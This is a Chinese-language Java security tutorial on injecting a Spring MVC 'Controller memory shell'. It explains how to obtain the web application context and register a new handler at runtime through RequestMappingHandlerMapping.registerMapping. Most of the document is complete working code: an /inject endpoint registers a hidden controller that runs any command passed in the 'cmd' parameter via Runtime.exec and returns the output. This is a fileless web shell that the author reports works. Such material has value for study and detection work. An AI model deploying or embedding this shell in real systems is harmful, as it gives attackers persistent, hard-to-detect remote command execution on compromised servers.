[Java安全]—Controller内存马
环境搭建
依赖
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.3.22</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.5</version>
</dependency>
web.xml
<servlet>
<servlet-name>SpringMVC</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:SpringMVC.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>SpringMVC</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
SpringMVC.xml
<context:component-scan base-package="com.sentiment"/>
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix" value="/"></property>
<property name="suffix" value=".jsp"></property>
</bean>
<bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
<!--<bean class="org.springframework.web.servlet.mvc.method.annotation.DefaultAnnotationHandlerMapping "/>-->
<!--<mvc:annotation-driven />-->
</beans>
下边这三行后边会提到
<bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
<!--<bean class="org.springframework.web.servlet.mvc.method.annotation.DefaultAnnotationHandlerMapping"/>-->
<!--<mvc:annotation-driven />-->
前置知识
1、注册上下文环境
要写入内存马,首先第一步就是注册当前运行环境的上下文环境,主要有四种方法:
- getCurrentWebApplicationContext
- WebApplicationContextUtils
- RequestContextUtils
- getAttribute
重点看下后两个,因为前两个获取的是Root WebApplicationContext,而我们在web.xml中定义了自己的Child WebApplicationContext也就是SpringMVC.xml
,所以当然是要获取自定义的。
Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的全是 Child Context
所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的 bean
所有的Context在创建后,都会被作为一个属性添加到了 ServletContext中
getAttribute
在RequestContextHolder.currentRequestAttributes()
的attributes中两个值其中放着SpringMVC-servlet
,也就是前边说的Child WebApplicationContext
,而由于我们在web.xml中定义的是SpringMVC.xml
,所以这里的SpringMVC-servlet
也就相当于是我们自定义的SpringMVC
RequestContextHolder.currentRequestAttributes()
中有Child WebApplicationContext
,所以需要通过getAttribute
取出来
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE", 0);
RequestContextUtils
同理,该方法是通过ServletRequest 类的实例来获得 WebApplicationContext
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
2、注册 controller
获取环境后就需要注册Controller了
HandlerMapping
先看下HandlerMpping
这个概念
HandlerMapping 是用来查找Handler 的,也就是处理器,具体的表现形式可以是类也可以是方法。比如,标注了@RequestMapping 的每个method 都可以看成是一个Handler,由Handler 来负责实际的请求处理。 而在请求到达之后,HandlerMapping便会找到请求相应的处理器Handler 和Interceptors。
demo
@RestController
public class TestController {
@RequestMapping("/test")
public String hello(String name, Model model) {
model.addAttribute("name", "Hi,Sentiment!");
return "hello";
}
}
当访问test时,便会通过HandlerMapping查找Handler并处理请求
所以这里就引入了前边提到的三行:
<bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
<!--<bean class="org.springframework.web.servlet.mvc.method.annotation.DefaultAnnotationHandlerMapping"/>-->
<!--<mvc:annotation-driven />-->
@Controller、@RequestMapping等注解需要通过RequestMappingHandlerMapping
来处理,所以在使用时必须要提前在bean中引入
而这种方法是在SpringMVC 3.1之后用的,之前的话就用DefaultAnnotationHandlerMapping
但无论是3.1之前还是之后,其实都只需要一个<mvc:annotation-driven />
即可,它会帮我们注册默认处理请求
注册过程
在RequestMappingHandlerMapping
中有一个registerMapping
public void registerMapping(RequestMappingInfo mapping, Object handler, Method method) {
super.registerMapping(mapping, handler, method);
this.updateConsumesCondition(mapping, method);
}
他会调用父类的registerMapping,
public void registerMapping(T mapping, Object handler, Method method) {
if (this.logger.isTraceEnabled()) {
this.logger.trace("Register \"" + mapping + "\" to " + method.toGenericString());
}
this.mappingRegistry.register(mapping, handler, method);
}
接着会调用register()
完成注册
注册
了解注册过程后,细看一下过程:
首先第一个registerMapping()
中有三个参数:
public void registerMapping(RequestMappingInfo mapping, Object handler, Method method)
-
handler:即我们需要构造的controller对应的类
-
method:需要注册的controller中的方法
-
mapping:它是RequestMappingInfo类型的,而这个类其实就是设置Controller的一些请求参数的,若没有特殊要求全填null即可:
RequestMappingInfo info = new RequestMappingInfo(null, null, null, null, null, null, null);
handler和method,设置自定义的controller和method即可,先定义一个写入内存马的类:
@RestController
public class InjectToController {
public InjectToController(){
}
public String test() throws Exception {
// 获取request
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
InputStreamReader isr = new InputStreamReader(is, "UTF-8");
BufferedReader br = new BufferedReader(isr);
String str = "";
String line = "";
while ((line = br.readLine())!=null){
str+=line;
}
is.close();
br.close();
return str;
}
}
将其controller和method先定义好,留到注册时使用
//handler
InjectToController injectToController = new InjectToController();
//method
Method method = InjectToController.class.getMethod("test");
接着就是获取registerMapping
,先通过前边注册的上下文获取RequestMappingHandlerMapping
类
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
获取后就可以直接,调用registerMapping
了:
mappingHandlerMapping.registerMapping(info, injectToController, method);
内存马构造
package com.sentiment.controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
@RestController
public class TestController {
@RequestMapping(value = "/inject", method = RequestMethod.GET)
public String inject() throws NoSuchMethodException {
// 1. 获取上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE", 0);
// 2. 通过上下文获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获取自定义的controller和Method
Method method = InjectToController.class.getMethod("test");
// 4. 注册controller
RequestMappingInfo info = new RequestMappingInfo(null, null, null, null, null, null, null);
InjectToController injectToController = new InjectToController();
mappingHandlerMapping.registerMapping(info, injectToController, method);
return "Inject Success!";
}
@RestController
public class InjectToController {
public InjectToController(){
}
public String test() throws Exception {
// 获取request
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
InputStreamReader isr = new InputStreamReader(is, "UTF-8");
BufferedReader br = new BufferedReader(isr);
String str = "";
String line = "";
while ((line = br.readLine())!=null){
str+=line;
}
is.close();
br.close();
return str;
}
}
}
访问/inject,注入成功
成功执行命令
参考链接
基于内存 Webshell 的无文件攻击技术研究-安全客 - 安全资讯平台 (anquanke.com)
java内存马分析集合 - 先知社区 (aliyun.com)
利用Fastjson注入Spring内存马 - 先知社区 (aliyun.com)